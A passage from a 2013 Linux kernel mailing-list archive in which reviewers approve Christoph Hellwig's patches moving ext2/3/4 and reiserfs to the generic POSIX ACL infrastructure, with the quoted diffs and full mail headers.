> - posix_acl_release(acl); > - > - return error; > -} > - > -static int > -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, > - size_t size, int flags, int type) > -{ > - struct inode *inode = dentry->d_inode; > - handle_t *handle; > - struct posix_acl *acl; > - int error, retries = 0; > - > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(inode->i_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - if (value) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - else if (acl) { > - error = posix_acl_valid(acl); > - if (error) > - goto release_and_out; > - } > - } else > - acl = NULL; > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > + if (error) > + return error; > > -retry: > - handle = ext4_journal_start(inode, EXT4_HT_XATTR, > - ext4_jbd2_credits_xattr(inode)); > - if (IS_ERR(handle)) { > - error = PTR_ERR(handle); > - goto release_and_out; > + if (default_acl) { > + error = __ext4_set_acl(handle, inode, ACL_TYPE_DEFAULT, > + default_acl); > + posix_acl_release(default_acl); > + } > + if (acl) { > + if (!error) > + error = __ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, > + acl); > + posix_acl_release(acl); > } > - error = ext4_set_acl(handle, inode, type, acl); > - ext4_journal_stop(handle); > - if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) > - goto retry; > - > -release_and_out: > - posix_acl_release(acl); > return error; > } > - > -const struct xattr_handler ext4_xattr_acl_access_handler = { > - .prefix = POSIX_ACL_XATTR_ACCESS, > - .flags = ACL_TYPE_ACCESS, > - .list = ext4_xattr_list_acl_access, > - .get = ext4_xattr_get_acl, > - .set = ext4_xattr_set_acl, > -}; > - > -const struct xattr_handler ext4_xattr_acl_default_handler = { > - .prefix = POSIX_ACL_XATTR_DEFAULT, > - .flags = ACL_TYPE_DEFAULT, > - .list = ext4_xattr_list_acl_default, > - .get = ext4_xattr_get_acl, > - .set = ext4_xattr_set_acl, > -}; > diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h > index 18cb39e..da2c795 100644 > --- a/fs/ext4/acl.h > +++ b/fs/ext4/acl.h > @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size) > > /* acl.c */ > struct posix_acl *ext4_get_acl(struct inode *inode, int type); > -extern int ext4_acl_chmod(struct inode *); > +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type); > extern int ext4_init_acl(handle_t *, struct inode *, struct inode *); > > #else /* CONFIG_EXT4_FS_POSIX_ACL */ > #include > #define ext4_get_acl NULL > - > -static inline int > -ext4_acl_chmod(struct inode *inode) > -{ > - return 0; > -} > +#define ext4_set_acl NULL > > static inline int > ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > diff --git a/fs/ext4/file.c b/fs/ext4/file.c > index 3da2194..43e64f6 100644 > --- a/fs/ext4/file.c > +++ b/fs/ext4/file.c > @@ -617,6 +617,7 @@ const struct inode_operations ext4_file_inode_operations = { > .listxattr = ext4_listxattr, > .removexattr = generic_removexattr, > .get_acl = ext4_get_acl, > + .set_acl = ext4_set_acl, > .fiemap = ext4_fiemap, > }; > > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > index 0757634..6f69f96 100644 > --- a/fs/ext4/inode.c > +++ b/fs/ext4/inode.c > @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) > ext4_orphan_del(NULL, inode); > > if (!rc && (ia_valid & ATTR_MODE)) > - rc = ext4_acl_chmod(inode); > + rc = posix_acl_chmod(inode); > > err_out: > ext4_std_error(inode->i_sb, error); > diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c > index 5a0408d..e77c1ba 100644 > --- a/fs/ext4/namei.c > +++ b/fs/ext4/namei.c > @@ -3225,6 +3225,7 @@ const struct inode_operations ext4_dir_inode_operations = { > .listxattr = ext4_listxattr, > .removexattr = generic_removexattr, > .get_acl = ext4_get_acl, > + .set_acl = ext4_set_acl, > .fiemap = ext4_fiemap, > }; > > @@ -3235,4 +3236,5 @@ const struct inode_operations ext4_special_inode_operations = { > .listxattr = ext4_listxattr, > .removexattr = generic_removexattr, > .get_acl = ext4_get_acl, > + .set_acl = ext4_set_acl, > }; > diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c > index 1423c48..e175e94 100644 > --- a/fs/ext4/xattr.c > +++ b/fs/ext4/xattr.c > @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache; > static const struct xattr_handler *ext4_xattr_handler_map[] = { > [EXT4_XATTR_INDEX_USER] = &ext4_xattr_user_handler, > #ifdef CONFIG_EXT4_FS_POSIX_ACL > - [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext4_xattr_acl_access_handler, > - [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext4_xattr_acl_default_handler, > + [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, > + [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, > #endif > [EXT4_XATTR_INDEX_TRUSTED] = &ext4_xattr_trusted_handler, > #ifdef CONFIG_EXT4_FS_SECURITY > @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = { > &ext4_xattr_user_handler, > &ext4_xattr_trusted_handler, > #ifdef CONFIG_EXT4_FS_POSIX_ACL > - &ext4_xattr_acl_access_handler, > - &ext4_xattr_acl_default_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > #endif > #ifdef CONFIG_EXT4_FS_SECURITY > &ext4_xattr_security_handler, > diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h > index c767dbd..819d639 100644 > --- a/fs/ext4/xattr.h > +++ b/fs/ext4/xattr.h > @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find { > > extern const struct xattr_handler ext4_xattr_user_handler; > extern const struct xattr_handler ext4_xattr_trusted_handler; > -extern const struct xattr_handler ext4_xattr_acl_access_handler; > -extern const struct xattr_handler ext4_xattr_acl_default_handler; > extern const struct xattr_handler ext4_xattr_security_handler; > > extern ssize_t ext4_listxattr(struct dentry *, char *, size_t); > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 16:17:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ED62E7F57 for ; Mon, 2 Dec 2013 16:17:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 641ACAC004 for ; Mon, 2 Dec 2013 14:17:36 -0800 (PST) X-ASG-Debug-ID: 1386022654-04cbb0416948fda0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id Y7RXJSHzBt3zYluy for ; Mon, 02 Dec 2013 14:17:34 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id D4F8AA7CF5; Mon, 2 Dec 2013 23:17:33 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 0A4EC81EF4; Mon, 2 Dec 2013 23:17:33 +0100 (CET) Date: Mon, 2 Dec 2013 23:17:33 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure Message-ID: <20131202221733.GJ12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120656.032405773@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120656.032405773@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386022654 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Sun 01-12-13 03:59:16, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig Looks good. You can add: Reviewed-by: Jan Kara Honza > --- > fs/reiserfs/acl.h | 4 +- > fs/reiserfs/file.c | 1 + > fs/reiserfs/namei.c | 3 + > fs/reiserfs/xattr.c | 5 +- > fs/reiserfs/xattr_acl.c | 175 ++++++++--------------------------------------- > 5 files changed, 36 insertions(+), 152 deletions(-) > > diff --git a/fs/reiserfs/acl.h b/fs/reiserfs/acl.h > index f096b80..4a211f5 100644 > --- a/fs/reiserfs/acl.h > +++ b/fs/reiserfs/acl.h > @@ -48,18 +48,18 @@ static inline int reiserfs_acl_count(size_t size) > > #ifdef CONFIG_REISERFS_FS_POSIX_ACL > struct posix_acl *reiserfs_get_acl(struct inode *inode, int type); > +int reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); > int reiserfs_acl_chmod(struct inode *inode); > int reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, > struct inode *dir, struct dentry *dentry, > struct inode *inode); > int reiserfs_cache_default_acl(struct inode *dir); > -extern const struct xattr_handler reiserfs_posix_acl_default_handler; > -extern const struct xattr_handler reiserfs_posix_acl_access_handler; > > #else > > #define reiserfs_cache_default_acl(inode) 0 > #define reiserfs_get_acl NULL > +#define reiserfs_set_acl NULL > > static inline int reiserfs_acl_chmod(struct inode *inode) > { > diff --git a/fs/reiserfs/file.c b/fs/reiserfs/file.c > index dcaafcf..ed58d84 100644 > --- a/fs/reiserfs/file.c > +++ b/fs/reiserfs/file.c > @@ -260,4 +260,5 @@ const struct inode_operations reiserfs_file_inode_operations = { > .removexattr = reiserfs_removexattr, > .permission = reiserfs_permission, > .get_acl = reiserfs_get_acl, > + .set_acl = reiserfs_set_acl, > }; > diff --git a/fs/reiserfs/namei.c b/fs/reiserfs/namei.c > index dc5236f..8ba707e 100644 > --- a/fs/reiserfs/namei.c > +++ b/fs/reiserfs/namei.c > @@ -1522,6 +1522,7 @@ const struct inode_operations reiserfs_dir_inode_operations = { > .removexattr = reiserfs_removexattr, > .permission = reiserfs_permission, > .get_acl = reiserfs_get_acl, > + .set_acl = reiserfs_set_acl, > }; > > /* > @@ -1539,6 +1540,7 @@ const struct inode_operations reiserfs_symlink_inode_operations = { > .removexattr = reiserfs_removexattr, > .permission = reiserfs_permission, > .get_acl = reiserfs_get_acl, > + .set_acl = reiserfs_set_acl, > > }; > > @@ -1553,4 +1555,5 @@ const struct inode_operations reiserfs_special_inode_operations = { > .removexattr = reiserfs_removexattr, > .permission = reiserfs_permission, > .get_acl = reiserfs_get_acl, > + .set_acl = reiserfs_set_acl, > }; > diff --git a/fs/reiserfs/xattr.c b/fs/reiserfs/xattr.c > index 8a9e2dc..5cdfbd6 100644 > --- a/fs/reiserfs/xattr.c > +++ b/fs/reiserfs/xattr.c > @@ -50,6 +50,7 @@ > #include > #include > #include > +#include > > #define PRIVROOT_NAME ".reiserfs_priv" > #define XAROOT_NAME "xattrs" > @@ -904,8 +905,8 @@ static const struct xattr_handler *reiserfs_xattr_handlers[] = { > &reiserfs_xattr_security_handler, > #endif > #ifdef CONFIG_REISERFS_FS_POSIX_ACL > - &reiserfs_posix_acl_access_handler, > - &reiserfs_posix_acl_default_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > #endif > NULL > }; > diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c > index d95c959..ff04988 100644 > --- a/fs/reiserfs/xattr_acl.c > +++ b/fs/reiserfs/xattr_acl.c > @@ -11,35 +11,19 @@ > #include "acl.h" > #include > > -static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, > +static int __reiserfs_set_acl(struct reiserfs_transaction_handle *th, > struct inode *inode, int type, > struct posix_acl *acl); > > -static int > -reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, > - size_t size, int flags, int type) > + > +int > +reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) > { > - struct inode *inode = dentry->d_inode; > - struct posix_acl *acl; > int error, error2; > struct reiserfs_transaction_handle th; > size_t jcreate_blocks; > - if (!reiserfs_posixacl(inode->i_sb)) > - return -EOPNOTSUPP; > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - if (value) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) { > - return PTR_ERR(acl); > - } else if (acl) { > - error = posix_acl_valid(acl); > - if (error) > - goto release_and_out; > - } > - } else > - acl = NULL; > + int size = acl ? posix_acl_xattr_size(acl->a_count) : 0; > + > > /* Pessimism: We can't assume that anything from the xattr root up > * has been created. */ > @@ -51,7 +35,7 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu > error = journal_begin(&th, inode->i_sb, jcreate_blocks); > reiserfs_write_unlock(inode->i_sb); > if (error == 0) { > - error = reiserfs_set_acl(&th, inode, type, acl); > + error = __reiserfs_set_acl(&th, inode, type, acl); > reiserfs_write_lock(inode->i_sb); > error2 = journal_end(&th, inode->i_sb, jcreate_blocks); > reiserfs_write_unlock(inode->i_sb); > @@ -59,29 +43,6 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu > error = error2; > } > > - release_and_out: > - posix_acl_release(acl); > - return error; > -} > - > -static int > -reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, > - size_t size, int type) > -{ > - struct posix_acl *acl; > - int error; > - > - if (!reiserfs_posixacl(dentry->d_sb)) > - return -EOPNOTSUPP; > - > - acl = reiserfs_get_acl(dentry->d_inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl == NULL) > - return -ENODATA; > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > - posix_acl_release(acl); > - > return error; > } > > @@ -273,7 +234,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) > * BKL held [before 2.5.x] > */ > static int > -reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, > +__reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, > int type, struct posix_acl *acl) > { > char *name; > @@ -343,7 +304,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, > struct inode *dir, struct dentry *dentry, > struct inode *inode) > { > - struct posix_acl *acl; > + struct posix_acl *default_acl, *acl; > int err = 0; > > /* ACLs only get applied to files and directories */ > @@ -363,37 +324,28 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, > goto apply_umask; > } > > - acl = reiserfs_get_acl(dir, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > + if (err) > + return err; > > + if (default_acl) { > + err = __reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, > + default_acl); > + posix_acl_release(default_acl); > + } > if (acl) { > - /* Copy the default ACL to the default ACL of a new directory */ > - if (S_ISDIR(inode->i_mode)) { > - err = reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, > - acl); > - if (err) > - goto cleanup; > - } > - > - /* Now we reconcile the new ACL and the mode, > - potentially modifying both */ > - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > - if (err < 0) > - return err; > - > - /* If we need an ACL.. */ > - if (err > 0) > - err = reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, acl); > - cleanup: > + if (!err) > + err = __reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, > + acl); > posix_acl_release(acl); > - } else { > - apply_umask: > - /* no ACL, apply umask */ > - inode->i_mode &= ~current_umask(); > } > > return err; > + > + apply_umask: > + /* no ACL, apply umask */ > + inode->i_mode &= ~current_umask(); > + return err; > } > > /* This is used to cache the default acl before a new object is created. > @@ -442,84 +394,11 @@ int reiserfs_cache_default_acl(struct inode *inode) > */ > int reiserfs_acl_chmod(struct inode *inode) > { > - struct reiserfs_transaction_handle th; > - struct posix_acl *acl; > - size_t size; > - int error; > - > if (IS_PRIVATE(inode)) > return 0; > - > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - > if (get_inode_sd_version(inode) == STAT_DATA_V1 || > - !reiserfs_posixacl(inode->i_sb)) { > + !reiserfs_posixacl(inode->i_sb)) > return 0; > - } > > - acl = reiserfs_get_acl(inode, ACL_TYPE_ACCESS); > - if (!acl) > - return 0; > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); > - if (error) > - return error; > - > - size = reiserfs_xattr_nblocks(inode, reiserfs_acl_size(acl->a_count)); > - reiserfs_write_lock(inode->i_sb); > - error = journal_begin(&th, inode->i_sb, size * 2); > - reiserfs_write_unlock(inode->i_sb); > - if (!error) { > - int error2; > - error = reiserfs_set_acl(&th, inode, ACL_TYPE_ACCESS, acl); > - reiserfs_write_lock(inode->i_sb); > - error2 = journal_end(&th, inode->i_sb, size * 2); > - reiserfs_write_unlock(inode->i_sb); > - if (error2) > - error = error2; > - } > - posix_acl_release(acl); > - return error; > -} > - > -static size_t posix_acl_access_list(struct dentry *dentry, char *list, > - size_t list_size, const char *name, > - size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > - if (!reiserfs_posixacl(dentry->d_sb)) > - return 0; > - if (list && size <= list_size) > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > - return size; > + return posix_acl_chmod(inode); > } > - > -const struct xattr_handler reiserfs_posix_acl_access_handler = { > - .prefix = POSIX_ACL_XATTR_ACCESS, > - .flags = ACL_TYPE_ACCESS, > - .get = reiserfs_posix_acl_get, > - .set = reiserfs_posix_acl_set, > - .list = posix_acl_access_list, > -}; > - > -static size_t posix_acl_default_list(struct dentry *dentry, char *list, > - size_t list_size, const char *name, > - size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > - if (!reiserfs_posixacl(dentry->d_sb)) > - return 0; > - if (list && size <= list_size) > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > - return size; > -} > - > -const struct xattr_handler reiserfs_posix_acl_default_handler = { > - .prefix = POSIX_ACL_XATTR_DEFAULT, > - .flags = ACL_TYPE_DEFAULT, > - .get = reiserfs_posix_acl_get, > - .set = reiserfs_posix_acl_set, > - .list = posix_acl_default_list, > -}; > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From rhyotte@gmail.com Mon Dec 2 16:18:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 36AB97F57 for ; Mon, 2 Dec 2013 16:18:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 219E08F8040 for ; Mon, 2 Dec 2013 14:18:59 -0800 (PST) X-ASG-Debug-ID: 1386022733-04cb6c537c48a970001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id 8qV5FmACdqVbVdZ7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Dec 2013 14:18:54 -0800 (PST) X-Barracuda-Envelope-From: rhyotte@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id g10so19063846pdj.17 for ; Mon, 02 Dec 2013 14:18:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=9rM7JZFBD1Ps3FkeOrnUAJTOXJTV0bU81LCC6Rgbx0M=; b=0V0P92JWL9FQqtQMIp7fHkDt84y747ROVaK0HZzjdBjqtvUVG8jC8rdNZCn3bkxi8j msEZYCVLhZHA84cp8xnZVA5IzP+Zdo4hGCBVObuN4wkO31TSm6RFNpx9l6Z8S7JzPCij YNA9uzseMRTveF4gZR2IBhRoti9lU0pr3MnbBBL3m2ZTaQ9XInYYvWfjl3fSNzMmNNTI pvGwP2rhO7DQsCKkpPhoeiOsi6lrmWbmU3G3Sts+hTnla4ViJLkneVy9E//SqA8qCXY0 dcSfTOS7LoBTYeenPsD0wzYw/atZbJdqKQSEErCvHqRXh4Nn+ealKF7NwI2U437NNdUI G6UQ== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.68.173.132 with SMTP id bk4mr6105110pbc.169.1386022733334; Mon, 02 Dec 2013 14:18:53 -0800 (PST) Received: by 10.70.65.163 with HTTP; Mon, 2 Dec 2013 14:18:53 -0800 (PST) In-Reply-To: <20131202221339.GI12253@quack.suse.cz> References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.018342089@bombadil.infradead.org> <20131202221339.GI12253@quack.suse.cz> Date: Mon, 2 Dec 2013 14:18:53 -0800 Message-ID: Subject: Re: [Jfs-discussion] [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure From: gary sheppard X-ASG-Orig-Subj: Re: [Jfs-discussion] [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure To: Jan Kara Cc: Christoph Hellwig , xfs@oss.sgi.com, Mark Fasheh , reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, viro@zeniv.linux.org.uk, jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org, Joel Becker Content-Type: multipart/alternative; boundary=047d7b6d9b16abcffb04ec9490ed X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1386022733 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142792 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b6d9b16abcffb04ec9490ed Content-Type: text/plain; charset=ISO-8859-1 Really nice to see all the sudden activity here in JFS again! On Mon, Dec 2, 2013 at 2:13 PM, Jan Kara wrote: > On Sun 01-12-13 03:59:11, Christoph Hellwig wrote: > > Signed-off-by: Christoph Hellwig > Looks good. You can add: > Reviewed-by: Jan Kara > > Honza > > > --- > > fs/ext2/acl.c | 176 ++++----------------------------------------- > > fs/ext2/acl.h | 8 +-- > > fs/ext2/file.c | 1 + > > fs/ext2/inode.c | 2 +- > > fs/ext2/namei.c | 2 + > > fs/ext2/xattr.c | 8 +-- > > fs/ext2/xattr.h | 2 - > > fs/ext3/acl.c | 213 > ++++++++----------------------------------------------- > > fs/ext3/acl.h | 9 +-- > > fs/ext3/file.c | 1 + > > fs/ext3/inode.c | 2 +- > > fs/ext3/namei.c | 2 + > > fs/ext3/xattr.c | 8 +-- > > fs/ext3/xattr.h | 2 - > > fs/ext4/acl.c | 213 > ++++++++----------------------------------------------- > > fs/ext4/acl.h | 9 +-- > > fs/ext4/file.c | 1 + > > fs/ext4/inode.c | 2 +- > > fs/ext4/namei.c | 2 + > > fs/ext4/xattr.c | 8 +-- > > fs/ext4/xattr.h | 2 - > > 21 files changed, 100 insertions(+), 573 deletions(-) > > > > diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c > > index 6e842a7..f04a295 100644 > > --- a/fs/ext2/acl.c > > +++ b/fs/ext2/acl.c > > @@ -189,8 +189,8 @@ ext2_get_acl(struct inode *inode, int type) > > /* > > * inode->i_mutex: down > > */ > > -static int > > -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) > > +int > > +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) > > { > > int name_index; > > void *value = NULL; > > @@ -250,169 +250,21 @@ ext2_set_acl(struct inode *inode, int type, > struct posix_acl *acl) > > int > > ext2_init_acl(struct inode *inode, struct inode *dir) > > { > > - struct posix_acl *acl = NULL; > > - int error = 0; > > - > > - if (!S_ISLNK(inode->i_mode)) { > > - if (test_opt(dir->i_sb, POSIX_ACL)) { > > - acl = ext2_get_acl(dir, ACL_TYPE_DEFAULT); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - } > > - if (!acl) > > - inode->i_mode &= ~current_umask(); > > - } > > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > > - if (S_ISDIR(inode->i_mode)) { > > - error = ext2_set_acl(inode, ACL_TYPE_DEFAULT, acl); > > - if (error) > > - goto cleanup; > > - } > > - error = __posix_acl_create(&acl, GFP_KERNEL, > &inode->i_mode); > > - if (error < 0) > > - return error; > > - if (error > 0) { > > - /* This is an extended ACL */ > > - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); > > - } > > - } > > -cleanup: > > - posix_acl_release(acl); > > - return error; > > -} > > - > > -/* > > - * Does chmod for an inode that may have an Access Control List. The > > - * inode->i_mode field must be updated to the desired value by the > caller > > - * before calling this function. > > - * Returns 0 on success, or a negative error number. > > - * > > - * We change the ACL rather than storing some ACL entries in the file > > - * mode permission bits (which would be more efficient), because that > > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > > - * for directories) are added. There are no more bits available in the > > - * file mode. > > - * > > - * inode->i_mutex: down > > - */ > > -int > > -ext2_acl_chmod(struct inode *inode) > > -{ > > - struct posix_acl *acl; > > - int error; > > + struct posix_acl *default_acl, *acl; > > + int error; > > > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > > - return 0; > > - if (S_ISLNK(inode->i_mode)) > > - return -EOPNOTSUPP; > > - acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); > > - if (IS_ERR(acl) || !acl) > > - return PTR_ERR(acl); > > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > > if (error) > > return error; > > - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); > > - posix_acl_release(acl); > > - return error; > > -} > > - > > -/* > > - * Extended attribut handlers > > - */ > > -static size_t > > -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t > list_size, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_size) > > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > > - return size; > > -} > > > > -static size_t > > -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t > list_size, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_size) > > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > > - return size; > > -} > > - > > -static int > > -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void > *buffer, > > - size_t size, int type) > > -{ > > - struct posix_acl *acl; > > - int error; > > - > > - if (strcmp(name, "") != 0) > > - return -EINVAL; 